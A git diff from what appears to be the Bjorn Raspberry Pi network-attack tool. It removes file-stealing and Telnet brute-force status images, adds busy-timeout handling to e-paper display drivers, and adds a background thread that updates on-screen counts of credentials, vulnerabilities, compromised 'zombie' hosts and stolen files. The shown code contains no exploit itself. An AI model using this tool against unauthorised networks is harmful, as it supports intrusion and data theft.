b/resources/default_config/characters/MEDUSA/status/StealFilesSMB/StealFilesSMB.bmp deleted file mode 100644 index ad53291..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealFilesSMB/StealFilesSMB.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSMB/StealFilesSMB1.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSMB/StealFilesSMB1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealFilesSMB/StealFilesSMB1.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH.bmp deleted file mode 100644 index ad53291..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH1.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH1.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH10.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH10.bmp deleted file mode 100644 index b68803a..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH10.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH11.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH11.bmp deleted file mode 100644 index 13eaf41..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH11.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH12.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH12.bmp deleted file mode 100644 index 580b967..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH12.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH13.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH13.bmp deleted file mode 100644 index 68fe849..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH13.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH2.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH2.bmp deleted file mode 100644 index c7b26b5..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH2.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH3.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH3.bmp deleted file mode 100644 index 474c315..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH3.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH4.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH4.bmp deleted file mode 100644 index 353d54a..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH4.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH5.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH5.bmp deleted file mode 100644 index 33ab580..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH5.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH6.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH6.bmp deleted file mode 100644 index a6cd3fb..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH6.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH7.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH7.bmp deleted file mode 100644 index 9616013..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH7.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH8.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH8.bmp deleted file mode 100644 index 1848bb0..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH8.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH9.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH9.bmp deleted file mode 100644 index a473218..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH9.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesTelnet/StealFilesTelnet.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesTelnet/StealFilesTelnet.bmp deleted file mode 100644 index ad53291..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealFilesTelnet/StealFilesTelnet.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesTelnet/StealFilesTelnet1.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesTelnet/StealFilesTelnet1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/StealFilesTelnet/StealFilesTelnet1.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/TelnetBruteforce/TelnetBruteforce.bmp b/resources/default_config/characters/MEDUSA/status/TelnetBruteforce/TelnetBruteforce.bmp deleted file mode 100644 index ac1d6dc..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/TelnetBruteforce/TelnetBruteforce.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/TelnetBruteforce/TelnetBruteforce1.bmp b/resources/default_config/characters/MEDUSA/status/TelnetBruteforce/TelnetBruteforce1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/TelnetBruteforce/TelnetBruteforce1.bmp and /dev/null differ diff --git a/resources/images/static/ai1.bmp b/resources/images/static/ai1.bmp new file mode 100644 index 0000000..da28da6 Binary files /dev/null and b/resources/images/static/ai1.bmp differ diff --git a/resources/images/static/ai2.bmp b/resources/images/static/ai2.bmp new file mode 100644 index 0000000..5c20d3b Binary files /dev/null and b/resources/images/static/ai2.bmp differ diff --git a/resources/images/static/auto.bmp b/resources/images/static/auto.bmp index 12b6f4f..d313789 100644 Binary files a/resources/images/static/auto.bmp and b/resources/images/static/auto.bmp differ diff --git a/resources/images/static/level.bmp b/resources/images/static/level.bmp index 42f2a68..38ccbe9 100644 Binary files a/resources/images/static/level.bmp and b/resources/images/static/level.bmp differ diff --git a/resources/images/static/manual.bmp b/resources/images/static/manual.bmp index 0c1954d..4f9b5a4 100644 Binary files a/resources/images/static/manual.bmp and b/resources/images/static/manual.bmp differ diff --git a/resources/waveshare_epd/epd2in13.py b/resources/waveshare_epd/epd2in13.py index e8fa364..85245e8 100644 --- a/resources/waveshare_epd/epd2in13.py +++ b/resources/waveshare_epd/epd2in13.py @@ -1,15 +1,23 @@ import logging +import time from . import epdconfig +from logger import Logger # Display resolution EPD_WIDTH = 122 EPD_HEIGHT = 250 -logger = logging.getLogger(__name__) +logger = Logger(name="epd2in13.py", level=logging.DEBUG) class EPD: def __init__(self): self.is_initialized = False # New flag to track if the display has been initialized #INFINITION + # Defensive timeout/logging for BUSY pin stalls. + self.busy_timeout_s = 30.0 + self.busy_poll_ms = 100 + self.busy_log_interval_s = 5.0 + # Keep this False in production to avoid log spam on normal refresh cycles. + self.log_busy_transitions = False self.reset_pin = epdconfig.RST_PIN self.dc_pin = epdconfig.DC_PIN self.busy_pin = epdconfig.BUSY_PIN @@ -52,9 +60,24 @@ class EPD: epdconfig.spi_writebyte([data]) epdconfig.digital_write(self.cs_pin, 1) - def ReadBusy(self): - while(epdconfig.digital_read(self.busy_pin) == 1): # 0: idle, 1: busy - epdconfig.delay_ms(100) + def ReadBusy(self): + # 0: idle, 1: busy + started = time.monotonic() + last_log = started + while(epdconfig.digital_read(self.busy_pin) == 1): + now = time.monotonic() + waited = now - started + if waited >= self.busy_timeout_s: + raise TimeoutError( + f"EPD busy timeout after {self.busy_timeout_s:.1f}s " + f"(pin={self.busy_pin}, state=1, expected idle=0)" + ) + if (now - last_log) >= self.busy_log_interval_s: + logger.warning( + f"ReadBusy waiting {waited:.1f}s (pin={self.busy_pin}, state=1/busy)" + ) + last_log = now + epdconfig.delay_ms(self.busy_poll_ms) def TurnOnDisplay(self): self.send_command(0x22) # DISPLAY_UPDATE_CONTROL_2 @@ -62,9 +85,11 @@ class EPD: self.send_command(0x20) # MASTER_ACTIVATION self.send_command(0xFF) # TERMINATE_FRAME_READ_WRITE - logger.debug("e-Paper busy") + if self.log_busy_transitions: + logger.debug("e-Paper busy") self.ReadBusy() - logger.debug("e-Paper busy release") + if self.log_busy_transitions: + logger.debug("e-Paper busy release") def init(self, lut): if not self.is_initialized: # Avoid repeated initialization and accumulation of File descriptors #INFINITION @@ -195,4 +220,3 @@ class EPD: epdconfig.module_exit() ### END OF FILE ### - diff --git a/resources/waveshare_epd/epd2in13_V2.py b/resources/waveshare_epd/epd2in13_V2.py index 6247fff..61457b4 100644 --- a/resources/waveshare_epd/epd2in13_V2.py +++ b/resources/waveshare_epd/epd2in13_V2.py @@ -6,17 +6,23 @@ # - Pas de décalage wrap-around d’1 pixel (fini la ligne sombre) import logging +import time from . import epdconfig +from logger import Logger # Résolution physique du panneau (hardware) EPD_WIDTH = 122 EPD_HEIGHT = 250 -logger = logging.getLogger(__name__) +logger = Logger(name="epd2in13_V2.py", level=logging.DEBUG) class EPD: def __init__(self): self.is_initialized = False + # Defensive timeout/logging for BUSY pin stalls. + self.busy_timeout_s = 30.0 + self.busy_poll_ms = 50 + self.busy_log_interval_s = 5.0 self.reset_pin = epdconfig.RST_PIN self.dc_pin = epdconfig.DC_PIN self.busy_pin = epdconfig.BUSY_PIN @@ -87,8 +93,22 @@ class EPD: def ReadBusy(self): # 0: idle, 1: busy + started = time.monotonic() + last_log = started while epdconfig.digital_read(self.busy_pin) == 1: - epdconfig.delay_ms(50) + now = time.monotonic() + waited = now - started + if waited >= self.busy_timeout_s: + raise TimeoutError( + f"EPD busy timeout after {self.busy_timeout_s:.1f}s " + f"(pin={self.busy_pin}, state=1, expected idle=0)" + ) + if (now - last_log) >= self.busy_log_interval_s: + logger.warning( + f"ReadBusy waiting {waited:.1f}s (pin={self.busy_pin}, state=1/busy)" + ) + last_log = now + epdconfig.delay_ms(self.busy_poll_ms) def TurnOnDisplay(self): self.send_command(0x22) diff --git a/resources/waveshare_epd/epd2in13_V3.py b/resources/waveshare_epd/epd2in13_V3.py index 395eae0..fe11307 100644 --- a/resources/waveshare_epd/epd2in13_V3.py +++ b/resources/waveshare_epd/epd2in13_V3.py @@ -1,15 +1,23 @@ import logging +import time from . import epdconfig +from logger import Logger # Display resolution EPD_WIDTH = 122 EPD_HEIGHT = 250 -logger = logging.getLogger(__name__) +logger = Logger(name="epd2in13_V3.py", level=logging.DEBUG) class EPD: def __init__(self): self.is_initialized = False # New flag to track if the display has been initialized #INFINITION + # Defensive timeout/logging for BUSY pin stalls. + self.busy_timeout_s = 30.0 + self.busy_poll_ms = 10 + self.busy_log_interval_s = 5.0 + # Keep this False in production to avoid log spam on normal refresh cycles. + self.log_busy_transitions = False self.reset_pin = epdconfig.RST_PIN self.dc_pin = epdconfig.DC_PIN self.busy_pin = epdconfig.BUSY_PIN @@ -107,10 +115,26 @@ class EPD: parameter: ''' def ReadBusy(self): - logger.debug("e-Paper busy") + if self.log_busy_transitions: + logger.debug("e-Paper busy") + started = time.monotonic() + last_log = started while(epdconfig.digital_read(self.busy_pin) == 1): # 0: idle, 1: busy - epdconfig.delay_ms(10) - logger.debug("e-Paper busy release") + now = time.monotonic() + waited = now - started + if waited >= self.busy_timeout_s: + raise TimeoutError( + f"EPD busy timeout after {self.busy_timeout_s:.1f}s " + f"(pin={self.busy_pin}, state=1, expected idle=0)" + ) + if (now - last_log) >= self.busy_log_interval_s: + logger.warning( + f"ReadBusy waiting {waited:.1f}s (pin={self.busy_pin}, state=1/busy)" + ) + last_log = now + epdconfig.delay_ms(self.busy_poll_ms) + if self.log_busy_transitions: + logger.debug("e-Paper busy release") ''' function : Turn On Display @@ -370,4 +394,3 @@ class EPD: epdconfig.module_exit() ### END OF FILE ### - diff --git a/resources/waveshare_epd/epd2in13_V4.py b/resources/waveshare_epd/epd2in13_V4.py index f32906a..9ee7665 100644 --- a/resources/waveshare_epd/epd2in13_V4.py +++ b/resources/waveshare_epd/epd2in13_V4.py @@ -1,15 +1,23 @@ import logging +import time from . import epdconfig +from logger import Logger # Display resolution EPD_WIDTH = 122 EPD_HEIGHT = 250 -logger = logging.getLogger(__name__) +logger = Logger(name="epd2in13_V4.py", level=logging.DEBUG) class EPD: def __init__(self): self.is_initialized = False # New flag to track if the display has been initialized #INFINITION + # Defensive timeout/logging for BUSY pin stalls. + self.busy_timeout_s = 30.0 + self.busy_poll_ms = 10 + self.busy_log_interval_s = 5.0 + # Keep this False in production to avoid log spam on normal refresh cycles. + self.log_busy_transitions = False self.reset_pin = epdconfig.RST_PIN self.dc_pin = epdconfig.DC_PIN self.busy_pin = epdconfig.BUSY_PIN @@ -63,10 +71,26 @@ class EPD: parameter: ''' def ReadBusy(self): - logger.debug("e-Paper busy") + if self.log_busy_transitions: + logger.debug("e-Paper busy") + started = time.monotonic() + last_log = started while(epdconfig.digital_read(self.busy_pin) == 1): # 0: idle, 1: busy - epdconfig.delay_ms(10) - logger.debug("e-Paper busy release") + now = time.monotonic() + waited = now - started + if waited >= self.busy_timeout_s: + raise TimeoutError( + f"EPD busy timeout after {self.busy_timeout_s:.1f}s " + f"(pin={self.busy_pin}, state=1, expected idle=0)" + ) + if (now - last_log) >= self.busy_log_interval_s: + logger.warning( + f"ReadBusy waiting {waited:.1f}s (pin={self.busy_pin}, state=1/busy)" + ) + last_log = now + epdconfig.delay_ms(self.busy_poll_ms) + if self.log_busy_transitions: + logger.debug("e-Paper busy release") ''' function : Turn On Display @@ -319,4 +343,3 @@ class EPD: epdconfig.module_exit() ### END OF FILE ### - diff --git a/resources/waveshare_epd/epd2in7.py b/resources/waveshare_epd/epd2in7.py index 60c584c..01fba2c 100644 --- a/resources/waveshare_epd/epd2in7.py +++ b/resources/waveshare_epd/epd2in7.py @@ -28,7 +28,9 @@ # import logging +import time from . import epdconfig +from logger import Logger # Display resolution EPD_WIDTH = 176 @@ -39,11 +41,18 @@ GRAY2 = 0xC0 GRAY3 = 0x80 #gray GRAY4 = 0x00 #Blackest -logger = logging.getLogger(__name__) +logger = Logger(name="epd2in7.py", level=logging.DEBUG) class EPD: def __init__(self): self.is_initialized = False # New flag to track if the display has been initialized #INFINITION + # Diagnostic guards for BUSY wait loops: + # this prevents a permanent block when BUSY pin gets stuck. + self.busy_timeout_s = 45.0 + self.busy_poll_ms = 200 + self.busy_log_interval_s = 5.0 + # Keep this False in production to avoid log spam on normal refresh cycles. + self.log_busy_transitions = False self.reset_pin = epdconfig.RST_PIN self.dc_pin = epdconfig.DC_PIN self.busy_pin = epdconfig.BUSY_PIN @@ -174,11 +183,29 @@ class EPD: epdconfig.spi_writebyte([data]) epdconfig.digital_write(self.cs_pin, 1) - def ReadBusy(self): - logger.debug("e-Paper busy") - while(epdconfig.digital_read(self.busy_pin) == 0): # 0: idle, 1: busy - epdconfig.delay_ms(200) - logger.debug("e-Paper busy release") + def ReadBusy(self): + # epd2in7 uses inverted BUSY logic on this implementation: + # 0 = busy, 1 = idle. + if self.log_busy_transitions: + logger.debug("e-Paper busy") + started = time.monotonic() + last_log = started + while(epdconfig.digital_read(self.busy_pin) == 0): + now = time.monotonic() + waited = now - started + if waited >= self.busy_timeout_s: + raise TimeoutError( + f"EPD busy timeout after {self.busy_timeout_s:.1f}s " + f"(pin={self.busy_pin}, state=0, expected idle=1)" + ) + if (now - last_log) >= self.busy_log_interval_s: + logger.warning( + f"ReadBusy waiting {waited:.1f}s (pin={self.busy_pin}, state=0/busy)" + ) + last_log = now + epdconfig.delay_ms(self.busy_poll_ms) + if self.log_busy_transitions: + logger.debug("e-Paper busy release") def set_lut(self): self.send_command(0x20) # vcom @@ -524,4 +551,3 @@ class EPD: epdconfig.delay_ms(2000) epdconfig.module_exit() ### END OF FILE ### - diff --git a/runtime_state_updater.py b/runtime_state_updater.py new file mode 100644 index 0000000..33e68f8 --- /dev/null +++ b/runtime_state_updater.py @@ -0,0 +1,385 @@ +import logging +import os +import random +import subprocess +import threading +import time +import gc +from collections import OrderedDict +from typing import Dict, Optional, Tuple + +import psutil + +from comment import CommentAI +from logger import Logger + +logger = Logger(name="runtime_state_updater.py", level=logging.DEBUG) + + +class RuntimeStateUpdater(threading.Thread): + """ + Centralized runtime state updater. + Keeps display-facing data fresh in background so display loop can stay render-only. + """ + + def __init__(self, shared_data): + super().__init__(daemon=True, name="RuntimeStateUpdater") + self.shared_data = shared_data + self._stop_event = threading.Event() + + cfg = getattr(self.shared_data, "config", {}) or {} + + # Tight loops create allocator churn on Pi; keep these configurable. + self._tick_s = max(0.2, float(cfg.get("runtime_tick_s", 1.0))) + self._stats_interval_s = max( + 2.0, + float(getattr(self.shared_data, "shared_update_interval", cfg.get("shared_update_interval", 10))), + ) + self._system_interval_s = 4.0 + self._comment_poll_interval_s = max(1.0, float(cfg.get("runtime_comment_poll_interval_s", 2.0))) + self._network_interval_s = 30.0 + self._connection_interval_s = 10.0 + self._data_count_interval_s = 60.0 + self._battery_interval_s = 10.0 + self._status_image_interval_s = max(1.0, float(cfg.get("runtime_status_image_interval_s", 2.0))) + self._image_min_delay_s = max(0.5, float(getattr(self.shared_data, "image_display_delaymin", 2))) + self._image_max_delay_s = max( + self._image_min_delay_s, + float(getattr(self.shared_data, "image_display_delaymax", 8)), + ) + self._data_count_path = str(getattr(self.shared_data, "data_stolen_dir", "")) + self._image_cache_limit = 12 + + # Optional housekeeping (off by default) + self._gc_interval_s = max(0.0, float(cfg.get("runtime_gc_interval_s", 0.0))) + self._last_gc = 0.0 + + self._last_stats = 0.0 + self._last_system = 0.0 + self._last_comment = 0.0 + self._last_network = 0.0 + self._last_connections = 0.0 + self._last_data_count = 0.0 + self._last_battery = 0.0 + self._last_status_image = 0.0 + self._next_anim = 0.0 + self._last_status_image_key = None + self._image_cache: OrderedDict[str, object] = OrderedDict() + + self.comment_ai = CommentAI() + + def stop(self): + self._stop_event.set() + + def run(self): + try: + psutil.cpu_percent(interval=None) + except Exception: + pass + + try: + self._initialize_fast_defaults() + self._warmup_once() + + while not self._stop_event.is_set() and not self.shared_data.should_exit: + now = time.time() + try: + if self._gc_interval_s and (now - self._last_gc) >= self._gc_interval_s: + # Helps long-running Pi processes reduce allocator fragmentation. + gc.collect() + self._last_gc = now + + if now - self._last_stats >= self._stats_interval_s: + self._update_display_stats() + self._last_stats = now + + if now - self._last_system >= self._system_interval_s: + self._update_system_metrics() + self._last_system = now + + if now - self._last_comment >= self._comment_poll_interval_s: + self._update_comment() + self._last_comment = now + + if now - self._last_network >= self._network_interval_s: + self._update_network_info() + self._last_network = now + + if now - self._last_connections >= self._connection_interval_s: + self._update_connection_flags() + self._last_connections = now + + if now - self._last_data_count >= self._data_count_interval_s: + self._update_data_count() + self._last_data_count = now + + if now - self._last_battery >= self._battery_interval_s: + self._update_battery() + self._last_battery = now + + if now - self._last_status_image >= self._status_image_interval_s: + self._update_status_image() + self._last_status_image = now + + if now >= self._next_anim: + self._update_main_animation_image() + self._next_anim = now + random.uniform(self._image_min_delay_s, self._image_max_delay_s) + + except Exception as exc: + logger.error(f"RuntimeStateUpdater loop error: {exc}") + + self._stop_event.wait(self._tick_s) + finally: + self._close_image_cache() + + def _warmup_once(self): + try: + self._update_network_info() + self._update_connection_flags() + self._update_battery() + self._update_display_stats() + self._update_system_metrics() + self._update_status_image() + self._update_main_animation_image() + except Exception as exc: + logger.error(f"RuntimeStateUpdater warmup error: {exc}") + + def _initialize_fast_defaults(self): + if not getattr(self.shared_data, "bjorn_status_image", None): + self.shared_data.bjorn_status_image = getattr(self.shared_data, "attack", None) + if not getattr(self.shared_data, "bjorn_character", None): + self.shared_data.bjorn_character = getattr(self.shared_data, "bjorn1", None) + if not hasattr(self.shared_data, "current_ip"): + self.shared_data.current_ip = "No IP" + if not hasattr(self.shared_data, "current_ssid"): + self.shared_data.current_ssid = "No Wi-Fi" + + def _update_display_stats(self): + stats = self.shared_data.db.get_display_stats() + self.shared_data.port_count = int(stats.get("total_open_ports", 0)) + self.shared_data.target_count = int(stats.get("alive_hosts_count", 0)) + self.shared_data.network_kb_count = int(stats.get("all_known_hosts_count", 0)) + self.shared_data.vuln_count = int(stats.get("vulnerabilities_count", 0)) + self.shared_data.cred_count = int(stats.get("credentials_count", 0)) + self.shared_data.attacks_count = int(stats.get("actions_count", 0)) + self.shared_data.zombie_count = int(stats.get("zombie_count", 0)) + self.shared_data.update_stats() + + def _update_system_metrics(self): + self.shared_data.system_cpu = int(psutil.cpu_percent(interval=None)) + vm = psutil.virtual_memory() + self.shared_data.system_mem = int(vm.percent) + self.shared_data.system_mem_used = int(vm.total - vm.available) + self.shared_data.system_mem_total = int(vm.total) + + def _update_comment(self): + status = getattr(self.shared_data, "bjorn_orch_status", "IDLE") or "IDLE" + params = getattr(self.shared_data, "comment_params", {}) or {} + comment = self.comment_ai.get_comment(status, params=params) + if comment: + self.shared_data.bjorn_says = comment + self.shared_data.bjorn_status_text = status + + def _update_network_info(self): + self.shared_data.current_ip = self._get_ip_address() + self.shared_data.current_ssid = self._get_ssid() + + def _update_connection_flags(self): + flags = self._check_all_connections() + self.shared_data.wifi_connected = bool(flags.get("wifi")) + self.shared_data.bluetooth_active = bool(flags.get("bluetooth")) + self.shared_data.ethernet_active = bool(flags.get("ethernet")) + self.shared_data.usb_active = bool(flags.get("usb")) + + def _update_data_count(self): + try: + # Guard: os.walk("") would traverse CWD (very expensive) if path is empty. + if not self._data_count_path or not os.path.isdir(self._data_count_path): + self.shared_data.data_count = 0 + return + total = 0 + for _, _, files in os.walk(self._data_count_path): + total += len(files) + self.shared_data.data_count = total + except Exception as exc: + logger.error(f"Data count update failed: {exc}") + + def _update_battery(self): + try: + self.shared_data.update_battery_status() + except Exception as exc: + logger.warning_throttled( + f"Battery update failed: {exc}", + key="runtime_state_updater_battery", + interval_s=120.0, + ) + + def _update_status_image(self): + status = getattr(self.shared_data, "bjorn_orch_status", "IDLE") or "IDLE" + if status == self._last_status_image_key and getattr(self.shared_data, "bjorn_status_image", None) is not None: + return + + path = self.shared_data.main_status_paths.get(status) + img = self._load_cached_image(path) + if img is None: + img = getattr(self.shared_data, "attack", None) + self.shared_data.bjorn_status_image = img + self.shared_data.bjorn_status_text = status + self._last_status_image_key = status + + def _update_main_animation_image(self): + status = getattr(self.shared_data, "bjorn_status_text", "IDLE") or "IDLE" + paths = self.shared_data.image_series_paths.get(status) + if not paths: + paths = self.shared_data.image_series_paths.get("IDLE") or [] + if not paths: + return + + selected = random.choice(paths) + img = self._load_cached_image(selected) + if img is not None: + self.shared_data.bjorn_character = img + + def _load_cached_image(self, path: Optional[str]): + if not path: + return None + try: + if path in self._image_cache: + img = self._image_cache.pop(path) + self._image_cache[path] = img + return img + + img = self.shared_data._load_image(path) + if img is None: + return None + + self._image_cache[path] = img + while len(self._image_cache) > self._image_cache_limit: + # Important: cached PIL images are also referenced by display/web threads. + # Closing here can invalidate an image still in use and trigger: + # ValueError: Operation on closed image + # We only drop our cache reference and let GC reclaim when no refs remain. + self._image_cache.popitem(last=False) + return img + except Exception as exc: + logger.error(f"Image cache load failed for {path}: {exc}") + return None + + def _close_image_cache(self): + try: + # Drop references only; avoid closing shared PIL objects that may still be read + # by other threads during shutdown sequencing. + self._image_cache.clear() + except Exception: + pass + + def _get_ip_address(self) -> str: + iface_list = self._as_list( + getattr(self.shared_data, "ip_iface_priority", ["wlan0", "eth0"]), + default=["wlan0", "eth0"], + ) + for iface in iface_list: + try: + result = subprocess.run( + # Keep output small; we only need the IPv4 address. + ["ip", "-4", "-o", "addr", "show", "dev", iface], + stdout=subprocess.PIPE, + stderr=subprocess.DEVNULL, + text=True, + timeout=2, + ) + if result.returncode != 0: + continue + for line in result.stdout.split("\n"): + parts = line.split() + if "inet" not in parts: + continue + idx = parts.index("inet") + if idx + 1 < len(parts): + return parts[idx + 1].split("/")[0] + except Exception: + continue + return "No IP" + + def _get_ssid(self) -> str: + try: + result = subprocess.run( + ["iwgetid", "-r"], + stdout=subprocess.PIPE, + stderr=subprocess.DEVNULL, + text=True, + timeout=2, + ) + if result.returncode == 0: + return result.stdout.strip() or "No Wi-Fi" + except Exception: + pass + return "No Wi-Fi" + + def _check_all_connections(self) -> Dict[str, bool]: + results = {"wifi": False, "bluetooth": False, "ethernet": False, "usb": False} + try: + ip_neigh = subprocess.run( + ["ip", "neigh", "show"], + stdout=subprocess.PIPE, + stderr=subprocess.DEVNULL, + text=True, + timeout=2, + ) + neigh_output = ip_neigh.stdout if ip_neigh.returncode == 0 else "" + + iwgetid = subprocess.run( + ["iwgetid", "-r"], + stdout=subprocess.PIPE, + stderr=subprocess.DEVNULL, + text=True, + timeout=1, + ) + results["wifi"] = bool(iwgetid.returncode == 0 and iwgetid.stdout.strip()) + + bt_ifaces = self._as_list( + getattr(self.shared_data, "neigh_bluetooth_ifaces", ["pan0", "bnep0"]), + default=["pan0", "bnep0"], + ) + results["bluetooth"] = any(f"dev {iface}" in neigh_output for iface in bt_ifaces) + + eth_iface = self._as_str( + getattr(self.shared_data, "neigh_ethernet_iface", "eth0"), + "eth0", + ) + results["ethernet"] = f"dev {eth_iface}" in neigh_output + + usb_iface = self._as_str( + getattr(self.shared_data, "neigh_usb_iface", "usb0"), + "usb0", + ) + results["usb"] = f"dev {usb_iface}" in neigh_output + except Exception as exc: + logger.error(f"Connection check failed: {exc}") + return results + + def _as_list(self, value, default=None): + if default is None: + default = [] + try: + if isinstance(value, list): + return value + if isinstance(value, tuple): + return list(value) + if isinstance(value, str): + return [x.strip() for x in value.split(",") if x.strip()] + if value is None: + return default + return list(value) + except Exception: + return default + + def _as_str(self, value, default="") -> str: + if isinstance(value, str): + return value + if value is None: + return default + try: + return str(value) + except Exception: + return default diff --git a/shared.py b/shared.py index 8e17cc9..99b2fe8 100644 --- a/shared.py +++ b/shared.py @@ -1,9 +1,11 @@ # shared.py # Core component for managing shared resources and data for Bjorn project # Handles initialization, configuration, logging, fonts, images, and database management +# OPTIMIZED FOR PI ZERO 2: Lazy Loading, Thread-Safety, and Low Memory Footprint. import os import re +import json import importlib import random import time @@ -11,17 +13,18 @@ import ast import logging import subprocess import threading +import socket +import gc +import weakref +from datetime import datetime from typing import Dict, List, Optional, Any from PIL import Image, ImageFont from logger import Logger -# from epd_helper import EPDHelper from epd_manager import EPDManager - from database import BjornDatabase logger = Logger(name="shared.py", level=logging.DEBUG) - class SharedData: """Centralized shared data manager for all Bjorn modules""" @@ -29,9 +32,27 @@ class SharedData: # Initialize core paths first self.initialize_paths() - # Initialize status tracking - self.status_list = [] + # --- THREAD SAFETY LOCKS --- + # RLock allows the same thread to acquire the lock multiple times (re-entrant) + # essential for config loading/saving which might be called recursively. + self.config_lock = threading.RLock() + self.scripts_lock = threading.Lock() + self.output_lock = threading.Lock() + self.health_lock = threading.Lock() + + # Initialize status tracking (set prevents duplicates and unbounded growth) + self.status_list = set() self.last_comment_time = time.time() + self.curr_status = {"status": "Idle", "details": ""} + self.status_lock = threading.Lock() + + # --- BI-DIRECTIONAL LINKS (WEAK) --- + # Prevent circular references while allowing access to the supervisor + self._bjorn_ref = None + + # --- CACHING --- + self._config_json_cache = None + self._config_json_ts = 0 # Event for orchestrator wake-up (Avoids CPU busy-waiting) self.queue_event = threading.Event() @@ -43,7 +64,7 @@ class SharedData: # Initialize database (single source of truth) self.db = BjornDatabase() - # Load existing configuration from database + # Load existing configuration from database (Thread-safe) self.load_config() # Update security blacklists @@ -54,9 +75,12 @@ class SharedData: self.initialize_runtime_variables() self.initialize_statistics() self.load_fonts() + + # --- LAZY LOADING IMAGES --- + # Indexes paths instead of loading pixels to RAM self.load_images() - logger.info("SharedData initialization complete") + logger.info("SharedData initialization complete (Pi Zero 2 Optimized)") def initialize_paths(self): """Initialize all application paths and create necessary directories""" @@ -78,7 +102,6 @@ class SharedData: self.logs_dir = os.path.join(self.data_dir, 'logs') self.output_dir = os.path.join(self.data_dir, 'output') self.input_dir = os.path.join(self.data_dir, 'input') - # Output subdirectories self.data_stolen_dir = os.path.join(self.output_dir, 'data_stolen') @@ -118,6 +141,10 @@ class SharedData: self.log_file = os.path.join(self.logs_dir, 'Bjorn.log') self.web_console_log = os.path.join(self.logs_dir, 'web_console_log.txt') + # AI Models + self.ai_models_dir = os.path.join(self.bjorn_user_dir, 'ai_models') + self.ml_exports_dir = os.path.join(self.data_dir, 'ml_exports') + # Create all necessary directories self._create_directories() @@ -130,7 +157,8 @@ class SharedData: self.fonts_dir, self.default_config_dir, self.default_comments_dir, self.status_images_dir, self.static_images_dir, self.dictionary_dir, self.potfiles_dir, self.wordlists_dir, 